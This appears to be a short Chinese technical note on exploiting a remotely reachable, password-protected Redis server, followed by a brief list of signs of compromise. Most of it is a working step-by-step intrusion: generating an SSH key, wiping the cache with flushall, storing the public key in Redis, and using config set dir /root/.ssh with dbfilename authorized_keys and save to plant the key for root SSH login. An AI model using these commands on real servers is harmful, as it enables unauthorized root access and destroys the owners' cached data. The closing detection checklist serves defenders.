参考http://www.aneasystone.com/archives/2015/11/redis-crackit.html
当服务器上的Redis设置允许用户远程访问时就存在了风险,当外来者破解了你的Redis密码后就可以通过Redis免密码登录远程服务器
- 远程登录redis命令:
redis-cli -h ip -a password
入侵
1.入侵前准备
- 本地生成公钥ssh-key:
$ ssh-keygen -t rsa
- 加换行生成文件foo
(echo -e "\n\n"; cat id_rsa.pub; echo -e"\n\n") > foo
2.清空redis缓存
flushall
3.将公钥写入redis
$ cat foo | redis-cli -h ip -a password -x set crackit
4.登录redis
$ redis-cli -h ip -a password
ip:port> config set dir /root/.ssh/ 固定位置(redis没有创建文件夹的权限)
ip:port> config get dir 查看位置
ip:port> config set dbfilename authorized_keys 把文件存进指定文件
ip:port> save
如何判断是否中枪
- 缓存被莫名清空
- 缓存中多了一个 crackit (或其他类似的)键
- 使用 redis 的 config get dir 命令检查是否指向了 /root/.ssh
- /.ssh/authorized_keys 文件有被篡改的痕迹
- 服务器上运行着不明进程